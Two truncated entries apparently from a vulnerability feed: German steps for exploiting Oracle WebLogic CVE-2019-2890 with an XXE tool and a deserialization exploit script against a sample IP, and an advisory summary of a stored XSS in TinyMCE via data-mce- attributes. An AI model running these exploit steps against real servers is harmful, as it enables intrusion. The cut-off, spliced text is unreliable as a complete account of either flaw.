weblogic_cve-2019-2890

1）Öffne das XXER-Tool python xxer.py -H 192.168.17.223 2）Lege den xxer-PoC in die Datei xx.xml，ersetze die serialisierten Daten und injiziere den xxer-PoC； java -jar weblogicxxe.jar xx.xml 3）Sende Daten mit weblogic.py aus dem java-deserialization-exploit-Tool an den WebLogic-Server python...

CVE-2026-47759 TinyMCE Cross-Site Scripting (XSS) vulnerability using through data-mce- prefixed src, href, style attributes

TinyMCE is an open source rich text editor. Prior to 5.11.1, 7.9.3, and 8.5.1, there is a stored XSS vulnerability via unsanitized data-mce- attributes data-mce-href, data-mce-src, data-mce-style. Allows attackers to inject malicious values that override safe attributes during serialization,...